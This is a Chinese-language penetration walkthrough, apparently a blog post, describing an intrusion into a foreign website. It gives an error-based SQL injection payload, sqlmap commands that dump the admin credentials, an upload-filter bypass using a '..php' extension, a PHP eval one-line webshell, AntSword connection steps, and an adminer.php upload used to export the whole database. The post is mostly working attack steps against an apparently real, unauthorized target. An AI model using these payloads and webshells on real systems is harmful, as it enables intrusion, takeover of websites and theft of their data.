【渗透实战系列】|9-对境外网站开展的一次web渗透实战测试(非常详细,适合打战练手)
本实战案例非常适合练手,从sql注入、后台管理员登录、上传绕过、webshell、服务器权限,一套完成的渗透流程。
后续将会对此站做后渗透测试。
本文章技术仅用于渗透安全测试。
涉及知识点:
1、寻找注入点
2、寻找管理后台,目录扫描(dirmap)
3、寻找管理后台,扫描子域名(sublist3r 扫描到了子域名,找到后台)
4、sqlmap注入,获取管理员账号并解密
5、上传绕过,网站管理后台找到文件上传点(..php,后台过滤了.php)
6、蚁剑连接后查到到数据库文件,连接数据库连接成功
7、上传可以大马adminer.php(类似phpmyadmin可以直接连数据库)导出数据
01
寻找注入点
网址 http://xx.xx.xx/
网站点击功能菜单跳转 http://xx.xx.xx/xx.php?pkey=6
在参数6后加上下引号,测试是否存在注入点
http://xx.xx.xx/xx.php?pkey=6’
有回显报错
Invalid query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''6''' at line 7
用updatexml做报错注入测试
http://xx.xx.xx/xx.php?pkey=6%27%20
and%20updatexml(1,concat(0x3a,(select%20database())),1)%23
回显数据库:
Invalid query: XPATH syntax error: ':lbwzbm'
证明存在注入,而且未发现过滤
02
Dirmap目录扫描
Dirmap.py扫描网站目录,寻找管理页面入口,未发现
python3 dirmap.py -i http://xx.xx.xx/ -lcf
03
Sublist3r 域名扫描
Sublist3r.py扫描网站域名,寻找管理页面入口,未发现
python2 Sublist3r.py -d xx.xx.xx -o 12.txt
结果
www.xx.xx.xx
cms.xx.xx.xx
cpanel.xx.xx.xx
cpcalendars.xx.xx.xx
cpcontacts.xx.xx.xx
library.xx.xx.xx
mail.xx.xx.xx
record.xx.xx.xx
webdisk.xx.xx.xx
webmail.xx.xx.xx
推断、试验后:cms.xx.xx.xx 为管理页面
输入http:// cms.xx.xx.xx 跳转到
https://yy.yy.yy.yy /yy/login.php
打开后登录页面
04
sqlmap注入
上文网站注入点已经通过手动找到,如果通过手动注入不现实,而且不一定能成功,所以这里用注入神器sqlmap跑起来。
本地windows下跑sqlmap(本地网不稳定,容易中断,建议可以用在VPS上做sql注入,更安全更稳定)
为了手机里方便看,命令我做了换行
跑用户
python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE --current-user
爆库
python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6
--technique=BE --current-db
爆表
python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=BE -D kauyan –tables
爆字段
python2 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6
--technique=BE -D xx -T xx –columns
爆数据(login登录账号,pwd密码md5加密,user_group用户组管理员值为admin)
python2.7 sqlmap.py -u http://xx.xx.xx/xx.php?pkey=6 --technique=E -D xx -T xx -C login,pwd,pkey,user_group –dump
数据
密码是md5加密,需要解密(此处是付费解密的)
解密后获得密码明文
注意需要找到用户为管理组(admin)的用户,这样才有管理员权限
在vps上跑sqlmap不易中断,速度较快
设置参数后,效率会大大增加
--current-db
--current-user
--is-dba 是否是dba
--threads=3 开3个进程
--batch 批量执行默认选项
–random-agent 使用随机选定的User-Agent头
06
登录后台,木马上传
登录页面 https://yy.yy.yy.yy/yy/login.php
用sqlmap注入获取的用户名,密码输入
进入后台管理页面
https:// yy.yy.yy.yy/yy /user.php
系统管理-文件管理-新增 找到上传点
上传一句话小马
上传一句话小马(或者大马)
先上传小马zmg.php
<?php @eval($_POST['xyz']); ?>
上传后返回1348_1.php_ 证明上传后扩展名被过滤处理了,
上传无提示说明是黑名单过滤,尝试各种过滤方法
尝试后缀名为“..php” 进行上传,成功(关键点上传绕过)
访问,证明上传成功
中国蚁剑连接小马,连接成功
寻找找到网站数据库配置文件
_conn.php推断或为数据库连接文件,打开果然是
中国蚁剑连接后台数据库(也可以上传带数据库管理功能的大马进行连接数据库)
查看到所有数据
可以导出数据
上传大马
可以在网站上传点上传,或者蚁剑上传
php大马adminer.php功能mysql数据库管理
http://www.xx.xx.xx/filedata/tbl_cms_doc/doc/1311_1..php
进入类似phpmyadmin.php数据库管理页面
登录成功,可以任意导出数据。